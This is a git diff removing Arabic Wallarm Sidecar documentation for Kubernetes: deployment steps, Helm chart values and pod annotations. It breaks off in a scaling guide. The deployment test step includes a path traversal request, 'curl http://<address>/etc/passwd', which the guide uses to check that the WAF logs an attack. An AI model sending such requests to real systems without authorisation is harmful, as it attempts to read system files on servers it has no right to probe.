https://charts.wallarm.com - ``` -1. أنشئ ملف `values.yaml` بـ [تهيئة Wallarm Sidecar](customization.md). المثال على الملف مع التهيئة الدنيا هو في الأسفل. - - عند استخدام رمز API، حدد اسم المجموعة في المعامل `nodeGroup`. ستتم تعيين عقدتك المنشأة للغرف المكملة إلى هذه المجموعة، والتي ستظهر في قسم **عقدة Nodes** في Wallarm Console. اسم المجموعة الافتراضي هو `defaultSidecarGroup`. إذا لزم الأمر، يمكنك تحديد أسماء مجموعات العقدة المرشحة بشكل فردي لـ pods التطبيقات التي يحمونها، باستخدام تعليمة التوضيح [`sidecar.wallarm.io/wallarm-node-group`](pod-annotations.md#wallarm-node-group). - - === "US Cloud" - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" - # nodeGroup: "defaultSidecarGroup" - ``` - === "EU Cloud" - ```yaml - config: - wallarm: - api: - token: "" - # nodeGroup: "defaultSidecarGroup" - ``` - - `` هو رمز العقدة Wallarm المطلوب تشغيلها في Kubernetes. - - --8<-- "../include/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. نشر الرسم البياني Helm لـ Wallarm: - - ``` bash - helm install --version 4.8.1 wallarm/wallarm-sidecar --wait -n wallarm-sidecar --create-namespace -f - ``` - - * `` هو الاسم لـ Helm release للرسم البياني Wallarm Sidecar - * `wallarm-sidecar` هو المجال الاسمي الجديد لنشر Helm release مع الرسم البياني Wallarm Sidecar، يوصى بنشره في مجال اسمي منفصل - * `` هو وصلة الطريق إلى ملف `values.yaml` - -### الخطوة 3: اربط Wallarm Sidecar بـ Pod التطبيق - -لكي يرشح Wallarm حركة الشبكة للتطبيق، أضف التسمية `wallarm-sidecar: enabled` إلى Pod التطبيق المقابل: - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="15" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -* إذا تم تعيين تسمية `wallarm-sidecar` على Pod التطبيق إلى `disabled` أو لم يتم تحديدها بصورة صريحة، لن يتم حقن حاوية Wallarm Sidecar في الغرفة وبالتالي Wallarm لن يقوم بترشيح حركة الشبكة. -* إذا تم تعيين تسمية `wallarm-sidecar` على Pod التطبيق إلى `enabled`، سيتم حقن حاوية Wallarm Sidecar في الغرفة وبالتالي Wallarm سيقوم بترشيح الشبكة الواردة. - -### الخطوة 4: اختبر تشغيل Wallarm Sidecar - -لاختبار تشغيل Wallarm Sidecar بشكل صحيح: - -1. احصل على تفاصيل Wallarm control plane للتأكد من نجاح بدايته: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - كل غرفة يجب أن تعرض التالي: **جاهز: N/N** و**حالة: تعمل**، على سبيل المثال: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 4/4 Running 0 91m - ``` - -1. احصل على تفاصيل الغرفة التطبيقية للتأكد من تم حقن Wallarm sidecar بنجاح: - - ```bash - kubectl get pods -n --selector app= - ``` - - يجب أن يعرض الإخراج **جاهز: 2/2** يشير إلى حقن الحاوية الفرعية بنجاح و**حالة: تعمل** يشير إلى التوصيل الناجح إلى Wallarm Cloud: - - ``` - NAME READY STATUS RESTARTS AGE - myapp-5c48c97b66-lzkwf 2/2 Running 0 3h4m - ``` -1. أرسل هجوم اختبار [Path Traversal][ptrav-attack-docs] إلى عنوان التجمع تطبيق Wallarm مفعل لترشيح حركة الشبكة: - - ```bash - curl http:///etc/passwd - ``` - - بما أن Wallarm proxy يعمل في وضع الترشيح **مراقبة** [filtration mode][filtration-mode-docs] افتراضياً، فإن Wallarm node لن يقوم بحجب الهجوم ولكن سيقوم بتسجيله. - - للتأكد من تسجيل الهجوم، توجه إلى Wallarm Console → **الهجمات**: - - ![الهجمات في الواجهة][attacks-in-ui-image] - -## التخصيص - -تم حقن الغرف المكملة Wallarm استنادًا إلى [القيم الافتراضية `values.yaml`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) والتكوين الخاص الذي حددته في الخطوة الثانية من النشر. - -يمكنك تخصيص سلوك الخدمة الوكيلة Wallarm أكثر من ذلك على كلا من المستوى العالمي ومستوى الغرفة واحصل على الحد الأقصى من حل Wallarm لشركتك. - -فقط توجه إلى [دليل تخصيص حل Wallarm proxy](customization.md). - -## القيود - -* [الكشف عن ضخ الشهادات][cred-stuffing-docs] غير مدعوم حالياً، باعتبار أن الرسم البياني Helm لم يتم تحديثه إلى الإصدار 4.10 بعد. \ No newline at end of file diff --git a/docs/latest-ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/latest-ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index e8b9e30269..0000000000 --- a/docs/latest-ar/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,214 +0,0 @@ -# القيم الخاصة بـ Wallarm لرسم الخرائط Helm لـ Sidecar - -هذا المستند يصف قيم الخريطة Helm الخاصة بـ Wallarm التي يمكنك تغييرها أثناء [التثبيت Sidecar من Wallarm](deployment.md) أو [الترقية][sidecar-upgrade-docs]. تتواجد القيم الخاصة بـ Wallarm والقيم الأخرى للخريطة لتكوين ال Sidecar Helm chart بشكل عام. - -!!! info "أولويات الإعدادات العامة و لكل برمجية" - الإعدادات الخاصة بكل برمجية [لها الأولوية](customization.md#configuration-area) على قيم الخرائط Helm. - -يظهر الجزء الخاص بـ Wallarm من [الـ `values.yaml` الافتراضي](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) كما يلي: - -```yaml -config: - wallarm: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - caVerify: true - nodeGroup: "defaultSidecarGroup" - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - fallback: "on" - mode: monitoring - modeAllowOverride: "on" - enableLibDetection: "on" - parseResponse: "on" - aclExportEnable: "on" - parseWebsocket: "off" - unpackResponse: "on" - ... -postanalytics: - external: - enabled: false - host: "" - port: 3313 - ... -``` - -## config.wallarm.api.token - -هذا يمثل قيمة الرمز المميز للعقدة الفلترة. إنه مطلوب للوصول إلى Wallarm API. - -يمكن أن يكون الرمز المميز أحد هذه الأنواع [الأنواع][node-token-types]: - -* **رمز API (مستحسن)** - مثالي إذا كنت بحاجة إلى إضافة أو إزالة مجموعات العقد بشكل ديناميكي لتنظيم الواجهة الرسومية للمستخدم أو إذا كنت ترغب في التحكم في دورة حياة الرمز المميز للأمان الإضافي. لإنشاء رمز API: - - لإنشاء رمز API: - - 1. اذهب إلى Wallarm Console → **الإعدادات** → **رموز API** في أي من [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. قم بإنشاء رمز API بدور المصدر **Deploy**. - 1. أثناء تثبيت العقدة، استخدم الرمز المميز المُنشأ وقم بتحديد اسم المجموعة باستخدام العنصر `config.wallarm.api.nodeGroup`. يمكنك إضافة عدة عقد إلى مجموعة واحدة باستخدام رموز API مختلفة. -* **رمز العقدة** - مناسب عندما تعرف بالفعل مجموعات العقد التي ستُستخدم. - - لإنشاء رمز للعقدة: - - 1. اذهب إلى Wallarm Console → **العقد** في أي من [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. قم بإنشاء العقدة وأسم المجموعة الخاصة بالعقدة. - 1. أثناء تثبيت العقدة، استخدم رمز المجموعة لكل عقدة ترغب في تضمينها في تلك المجموعة. - -المعلمة تُتجاهل إذا كانت [`config.wallarm.api.existingSecret.enabled: true`](#configwallarmapiexistingsecret). - -## config.wallarm.api.host - -نقطة النهاية لـ Wallarm API. يمكن أن يكون: - -* `us1.api.wallarm.com` لـ [السحابة الأمريكية][us-cloud-docs] -* `api.wallarm.com` لـ [السحابة الأوروبية][eu-cloud-docs] (الافتراضي) - -## config.wallarm.api.nodeGroup - -هذا يحدد اسم مجموعة العقد الفلترة التي ترغب في إضافة العقد المُنشأة حديثًا إليها. تكون تجميع العقد بهذه الطريقة متاحة فقط عندما تقوم بإنشاء وربط العقد بالسحابة باستخدام الرمز المميز لـ API بالدور **Deploy** (يتم تمرير قيمته في العنصر `config.wallarm.api.token`). - -**القيمة الافتراضية**: `defaultSidecarGroup` - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-node-group`. - -## config.wallarm.api.existingSecret - -بدءًا من النسخة 4.4.4 من الخريطة Helm، يمكنك استخدام كتلة التكوين هذه لسحب قيمة رمز العقدة من Wallarm من الأسرار Kubernetes. إنه مفيد للبيئات ذات إدارة الأسرار المنفصلة (مثل استخدامك لمشغل الأسرار الخارجي). - -لتخزين رمز العقدة في الأسرار K8s وسحبه إلى الخريطة Helm: - -1. أنشئ سريّة Kubernetes مع رمز العقدة من Wallarm: - - ```bash - kubectl -n wallarm-sidecar create secret generic wallarm-api-token --from-literal=token= - ``` - - * إذا قمت باتباع تعليمات التثبيت بدون تعديلات، فإن `wallarm-sidecar` هو مكان الاسم Kubernetes الذي تم إنشاؤه للإصدار Helm مع وحدة التحكم Wallarm Sidecar. استبدل الاسم إذا كنت تستخدم فضاء الأسماء المختلف. - * `wallarm-api-token` هو اسم السرية Kubernetes. - * `` هو قيمة الرمز المميز للعقدة والتي تم نسخها من واجهة Wallarm Console. - - إذا كنت تستخدم بعض المشغلات السرية الخارجية، فاتبع [التعليمات المناسبة لإنشاء سرية](https://external-secrets.io). -1. قم بتعيين التكوين التالي في `values.yaml`: - - ```yaml - config: - wallarm: - api: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**القيمة الافتراضية**: `existingSecret.enabled: false` التي تشير إلى الرسم البياني لل Helm sample للحصول على رمز العقدة من Wallarm من `config.wallarm.api.token`. - -## config.wallarm.fallback - -عند تعيين القيمة إلى `on` (الافتراضي)، تكون لدى خدمات NGINX القدرة على دخول الوضع الطارئ. إذا لم يتم تحميل proton.db أو مجموعة القواعد المخصصة من سحابة Wallarm بسبب عدم توفرها، يعطل هذا الإعداد وحدة Wallarm ويبقي NGINX قيد التشغيل. - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-fallback`. - -## config.wallarm.mode - -الوضع العام [لترشيح الحركة][configure-wallarm-mode-docs]. القيم الممكنة: - -* `monitoring` (افتراضي) -* `safe_blocking` -* `block` -* `off` - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode`. - -## config.wallarm.modeAllowOverride - -يدير [القدرة على تجاوز القيم `wallarm_mode` عبر الإعدادات في السحابة][filtration-mode-priorities-docs]. القيم الممكنة: - -* `on` (افتراضي) -* `off` -* `strict` - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-mode-allow-override`. - -## config.wallarm.enableLibDetection - -هل ترغب في التحقق بالإضافة من هجمات SQL Injection باستخدام مكتبة [libdetection][libdetection-docs]. القيم الممكنة: - -* `on` (افتراضي) -* `off` - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-enable-libdetection`. - -## config.wallarm.parseResponse - -هل ترغب في تحليل ردود التطبيق للاعتداءات. القيم الممكنة: - -* `on` (افتراضي) -* `off` - -تحليل الاستجابة مطلوب للكشف عن الثغرات خلال [الكشف السلبي][passive-detection-docs] و [التحقق من التهديد النشط][active-threat-verification-docs]. - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-response`. - -## config.wallarm.aclExportEnable - -يتيح `on` / يعطل `off` إرسال الإحصائيات حول الطلبات من [انكار الوصول][denylist-docs] IPs من العقدة إلى السحابة. - -* مع `config.wallarm.aclExportEnable: "on"` (افتراضي) ستظهر الإحصائيات على الطلبات من IP المدرجة في القائمة السوداء في القسم [**الهجمات**][denylist-view-events-docs]. -* مع `config.wallarm.aclExportEnable: "off"` لن تظهر الإحصائيات على الطلبات من IP المدرجة في القائمة السوداء. - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-acl-export-enable`. - -## config.wallarm.parseWebsocket - -لـ Wallarm دعم كامل لـ WebSockets. بشكل افتراضي، لا يتم تحليل رسائل WebSockets للاعتداءات. لفرض الميزة، فعل خطة الاشتراك[API Security][subscriptions-docs] واستخدم هذا الإعداد. - -القيم الممكنة: - -* `on` -* `off` (افتراضي) - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-parse-websocket`. - -## config.wallarm.unpackResponse - -هل ترغب في فك ضغط البيانات المضغوطة العائدة في رد التطبيق: - -* `on` (افتراضي) -* `off` - -[**توصيف البرمجية**](pod-annotations.md): `sidecar.wallarm.io/wallarm-unpack-response`. - -## postanalytics.external.enabled - -يحدد ما إذا كان سيتم استخدام وحدة Wallarm postanalytics (Tarantool) المثبتة على مضيف خارجي أو تلك التي تم تثبيتها أثناء تثبيت حل Sidecar. - -يتم دعم هذه الميزة بدءًا من إصدار 4.6.4 من Helm. - -القيم الممكنة: - -* `false` (افتراضي): استخدم وحدة postanalytics التي تم تثبيتها بواسطة حل Sidecar. -* `true`: إذا تم تمكينه، يرجى تزويد العنوان الخارجي لوحدة postanalytics في القيم `postanalytics.external.host` و `postanalytics.external.port`. - - إذا تم تعيينها إلى `true`، فإن حل Sidecar لا يقوم بتشغيل وحدة postanalytics، ولكنه يتوقع الوصول إليها في `postanalytics.external.host` و `postanalytics.external.port` المحددة. - -## postanalytics.external.host - -المجال أو عنوان IP لوحدة postanalytics المثبت بشكل منفصل. هذا الحقل مطلوب إذا تم تعيين `postanalytics.external.enabled` على `true`. - -يتم دعم هذه الميزة بدءًا من إصدار 4.6.4 من Helm. - -القيم المثالية: `tarantool.domain.external` أو `10.10.0.100`. - -يجب أن يكون المضيف المحدد قابلاً للوصول من مجموعة Kubernetes حيث يتم نشر الخريطة Helm للـ Sidecar. - -## postanalytics.external.port - -المنفذ TCP الذي تعمل عليه وحدة Wallarm postanalytics. بشكل افتراضي، يستخدم المنفذ 3313 حيث يتم نشر الحل Sidecar على هذا المنفذ. - -إذا تم تعيين `postanalytics.external.enabled` إلى `true`، حدد المنفذ الذي تعمل عليه الوحدة على المضيف الخارجي المحدد. \ No newline at end of file diff --git a/docs/latest-ar/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/latest-ar/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 40f8089476..0000000000 --- a/docs/latest-ar/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,92 +0,0 @@ -# التعليقات التوضيحية للـPod المدعومة من Wallarm Sidecar - -يمكن تكوين [حل Wallarm Sidecar](deployment.md) عبر التعليقات التوضيحية على أساس كل Pod. القائمة التالية تصف التعليقات التوضيحية المدعومة في هذا الحل. - -!!! معلومة "أولويات الإعدادات العالمية ولكـPod" - التعليقات التوضيحية Per-pod [تأخذ الأفضلية](customization.md#configuration-area) على قيم الرسم البياني Helm. - -## قائمة التعليقات التوضيحية - -| التعليقات التوضيحية وقيمة الرسم البياني المناسبة | الوصف | -|-------------------------------------|------------------------------------------------------------------| -| **التعليق التوضيحي:** `sidecar.wallarm.io/sidecar-injection-schema`

      `config.injectionStrategy.schema` | [نمط توزيع حاوية Wallarm](customization.md#single-and-split-deployment-of-containers): `single` (الافتراضي) أو `split`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/sidecar-injection-iptables-enable`

      `config.injectionStrategy.iptablesEnable` | [إذا كان يجب بدء حاوية `iptables` init](customization.md#incoming-traffic-interception-port-forwarding): `true` (الافتراضي) أو `false`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-application`

      لا توجد قيمة في الرسم البياني | [ID الخاص بتطبيق Wallarm][applications-docs]. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-block-page`

      لا توجد قيمة في الرسم البياني | [صفحة الحظر ورمز الخطأ][custom-blocking-page-docs] تعود إلى عمليات الطلب المحظورة. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-enable-libdetection`

      `config.wallarm.enableLibDetection` | ما إذا كان يجب التحقق بشكل إضافي من هجمات الـ SQL Injection باستخدام مكتبة [libdetection][libdetection-docs]: `on` (الافتراضي) أو `off`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-fallback`

      `config.wallarm.fallback` | [وضع النسخ الاحتياطي Wallarm][fallback-mode-docs]: `on` (الافتراضي) أو `off`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-mode`

      `config.wallarm.mode` | [وضع تصفية الحركة][wallarm-modes-docs]: `monitoring` (default), `safe_blocking`, `block` or `off`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-mode-allow-override`

      `config.wallarm.modeAllowOverride` | يدير [القدرة على تجاوز قيم `wallarm_mode` عبر إعدادات الـ Clou](filtration-mode-priorities-docs): `on` (الافتراضي), `off` أو `strict`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-node-group`

      `config.wallarm.api.nodeGroup` | يحدد اسم المجموعة من العقد التصفية التي ترغب في إضافة العقد المنشورة حديثًا إلى. تجميع العقد بهذه الطريقة متاح فقط عندما تنشئ وتربط العقد بالسحابة باستخدام رمز الواجهة البرمجية الذي به دور **Deploy** (يتم تمرير قيمته في معلمة `config.wallarm.api.token`).
      هذه القيمة لا تأخذ العزم على الـ Tarantool pods، العقد لها دائمًا مرتبطة بمجموعة العقد المحددة في قيمة الرسم البياني `config.wallarm.api.nodeGroup`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-parser-disable`

      لا توجد قيمة في الرسم البياني | يسمح بتعطيل [المحللين][parsers-docs]. تقابل قيم التوجيه اسم المحلل المطلوب تعطيله، مثل `json`. يمكن تحديد محللات متعددة، وتقسيمها بمنقطة فاصلة، مثل `json;base64`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-parse-response`

      `config.wallarm.parseResponse` | ما إذا كان يجب تحليل الردود الخاصة بالتطبيق للهجمات: `on` (الافتراضي) أو `off`. التحليل الاستجابة مطلوب للكشف عن الضعف خلال [الكشف السلبي][passive-detection-docs] و [التحقق من التهديد القوي][active-threat-verification-docs]. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-acl-export-enable`

      `config.wallarm.aclExportEnable` | يمكن `on` / يعطل `off` إرسال إحصائيات حول الطلبات من [أي بي المدرجة في القائمة السوداء][denylist-docs] من العقدة إلى السحابة.
      • مع قيمة `"on"` (الافتراضية) سيتم عرض الإحصائيات حول الطلبات من أي بي المدرجة في القائمة السوداء [يتم عرضها][denylist-view-events-docs] في قسم **الهجمات**.
      • مع قيمة `"off"` لن يتم عرض الإحصائيات حول الطلبات من أي بي المدرجة في القائمة السوداء.
      | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-parse-websocket`

      `config.wallarm.parseWebsocket` | لدى Wallarm دعم كامل لـ Websockets. بشكل افتراضي، لا تتم تحليل رسائل Websockets للهجمات. لفرض الميزة، قم بتنشيط خطة الاشتراك في الأمان API [خطة الاشتراك][subscriptions-docs] واستخدم هذا التعليق التوضيحي: `on` أو `off` (الافتراضي). | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-unpack-response`

      `config.wallarm.unpackResponse` | ما إذا كان يجب فك ضغط البيانات المضغوطة التي تمت إعادتها في استجابة التطبيق: `on` (الافتراضي) أو `off`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-upstream-connect-attempts`

      `config.wallarm.upstream.connectAttempts` | تحدد عدد إعادات الاتصال الفورية إلى Tarantool أو Wallarm API. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/wallarm-upstream-reconnect-interval`

      `config.wallarm.upstream.reconnectInterval` | يحدد الفترة بين محاولات إعادة الاتصال بـ Tarantool أو Wallarm API بعد أن يتجاوز عدد المحاولات الفاشلة العتبة لعدد إعادات الاتصال الفورية. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/application-port`

      `config.nginx.applicationPort` | ينتظر حاوية Wallarm لوصول الطلبات الواردة إلى هذا المنفذ إذا [لم يتم العثور على منافذ البود التطبيقية المعرَضة](customization.md#application-container-port-auto-discovery). | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-listen-port`

      `config.nginx.listenPort` | المنفذ الذي يستمع إليه حاوية Wallarm. هذا المنفذ محجوز لاستخدامه بواسطة حل Wallarm sidecar، لا يمكن أن يكون نفس `منفذ التطبيق`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-http-include`

      لا توجد قيمة في الرسم البياني | مصفوفة مسارات إلى ملفات التكوين NGINX التي يجب أن [تتضمن على مستوى `http` من التكوين NGINX](customization.md#using-custom-nginx-configuration). يجب تثبيت الملف على الحاوية ويجب أن يشير هذا المسار إلى الملف في الحاوية. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-http-snippet`

      لا توجد قيمة في الرسم البياني | [تكوين داخلي إضافي](customization.md#using-custom-nginx-configuration) يجب أن يتضمّن على مستوى `http` من تكوين NGINX. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-server-include`

      لا توجد قيمة في الرسم البياني | مصفوفة مسارات إلى ملفات التكوين NGINX التي يجب أن [تتضمن على مستوى `server` من التكوين NGINX](customization.md#using-custom-nginx-configuration). يجب تثبيت الملف على الحاوية ويجب أن يشير هذا المسار إلى الملف في الحاوية. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-server-snippet`

      لا توجد قيمة في الرسم البياني | [تكوين داخلي إضافي](customization.md#using-custom-nginx-configuration) يجب أن يتضمّن على مستوى `server` من تكوين NGINX. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-location-include`

      لا توجد قيمة في الرسم البياني | مصفوفة مسارات إلى ملفات التكوين NGINX التي يجب أن [تتضمن على مستوى `location` من التكوين NGINX](customization.md#using-custom-nginx-configuration). يجب تثبيت الملف على الحاوية ويجب أن يشير هذا المسار إلى الملف في الحاوية. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-location-snippet`

      لا توجد قيمة في الرسم البياني | [تكوين داخلي إضافي](customization.md#using-custom-nginx-configuration) يجب أن يتضمّن على مستوى `location` من تكوين NGINX. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/nginx-extra-modules`

      لا توجد قيمة في الرسم البياني | مصفوفة [وحدات NGINX الإضافية](customization.md#enabling-additional-nginx-modules) لتكون ممكنة. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/proxy-extra-volumes`

      لا توجد قيمة في الرسم البياني | [أحجام مخصصة](customization.md#include) لإضافتها إلى الـ Pod (array). يجب أن تكون قيمة التعليق التوضيحي محاطة بعلامات اقتباس مفردة `''`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/proxy-extra-volume-mounts`

      لا توجد قيمة في الرسم البياني | [تحميل الأحجام المخصصة](customization.md#include) لإضافتها إلى حاوية `sidecar-proxy` (JSON object). يجب أن تكون قيمة التعليق التوضيحي محاطة بعلامات اقتباس مفردة `''`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/proxy-cpu`

      `config.sidecar.containers.proxy.resources.requests.cpu` | [CPU المطلوب](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-proxy`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/proxy-memory`

      `config.sidecar.containers.proxy.resources.requests.memory` | [الذاكرة المطلوبة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-proxy`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/proxy-cpu-limit`

      `config.sidecar.containers.proxy.resources.limits.cpu` | [حد الـ CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-proxy`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/proxy-memory-limit`

      `config.sidecar.containers.proxy.resources.limits.memory` | [حد الذاكرة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-proxy`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/helper-cpu`

      `config.sidecar.containers.helper.resources.requests.cpu` | [CPU المطلوب](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/helper-memory`

      `config.sidecar.containers.helper.resources.requests.memory` | [الذاكرة المطلوبة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/helper-cpu-limit`

      `config.sidecar.containers.helper.resources.limits.cpu` | [حد الـ CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/helper-memory-limit`

      `config.sidecar.containers.helper.resources.limits.memory` | [حد الذاكرة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-iptables-cpu`

      `config.sidecar.initContainers.iptables.resources.requests.cpu` | [CPU المطلوب](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-iptables`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-iptables-memory`

      `config.sidecar.initContainers.iptables.resources.requests.memory` | [الذاكرة المطلوبة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-iptables`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-iptables-cpu-limit`

      `config.sidecar.initContainers.iptables.resources.limits.cpu` | [حد الـ CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-iptables`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-iptables-memory-limit`

      `config.sidecar.initContainers.iptables.resources.limits.memory` | [حد الذاكرة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-iptables`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-helper-cpu`

      `config.sidecar.initContainers.helper.resources.requests.cpu` | [CPU المطلوب](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-helper-memory`

      `config.sidecar.initContainers.helper.resources.requests.memory` | [الذاكرة المطلوبة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-helper-cpu-limit`

      `config.sidecar.initContainers.helper.resources.limits.cpu` | [حد الـ CPU](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/init-helper-memory-limit`

      `config.sidecar.initContainers.helper.resources.limits.memory` | [حد الذاكرة](customization.md#per-pod-basis-allocation-via-pods-annotations) لحاوية `sidecar-init-helper`. | -| **التعليق التوضيحي:** `sidecar.wallarm.io/profile`

      لا توجد قيمة في الرسم البياني | يتم استخدام التعليق التوضيحي لتعيين ملف تعريف TLS محدد لبود التطبيق لـ [إنهاء TLS/SSL](customization.md#ssltls-termination).

      هذا التعليق التوضيحي وإنهاء TLS/SSL مدعومة بدءًا من الرسم البياني Helm 4.6.1. | - -هناك المزيد [من التوجيهات NGINX المدعومة بواسطة Wallarm][nginx-directives-docs] التي لم يتم تغطيتها بتعليقات توضيحية مباشرة. ومع ذلك، يمكنك تكوينها أيضًا باستخدام التعليقات التوضيحية [`nginx-*-snippet` و `nginx-*-include`](customization.md#using-custom-nginx-configuration). - -## كيفية استخدام التعليقات التوضيحية - -لتطبيق التعليق التوضيحي على بود، حدده في إعدادات الكائن `Deployment` لتكوين التطبيق المناسب، مثل: - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` \ No newline at end of file diff --git a/docs/latest-ar/installation/kubernetes/sidecar-proxy/scaling.md b/docs/latest-ar/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 641c3d5b80..0000000000 --- a/docs/latest-ar/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,369 +0,0 @@ -# توسيع النطاق والتوفر العالي لـ Wallarm Sidecar - -يهتم هذا الدليل بالتفاصيل الدقيقة للتوسيع والتوفر العالي (HA) ، وتخصيص النوابل مناسبا لـ[حل Wallarm Sidecar][sidecar-docs]. عن طريق تكوين هذه بشكل فعال ، يمكنك تحسين الثقة والأداء لـ Wallarm Sidecar ، مما يضمن وقت التوقف الأدنى ومعالجة الطلب بشكل فعال. - -تتم تصنيف التكوين عادةً في قسمين: - -* إعدادات مخصصة لطائرة تحكم Wallarm Sidecar -* إعدادات لحمل العمل التطبيقي مع القطعة المضافة - -تعتمد التوسع والتوفرية العالية لـ Wallarm Sidecar على ممارسات Kubernetes القياسية. لفهم الأساسيات قبل تطبيق توصياتنا ، ضع في اعتبارك استكشاف هذه الروابط الموصى بها: - -* [توسيع النطاق الأفقي لوحدة البود في Kubernetes (HPA)](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/) -* [الكتل ذات 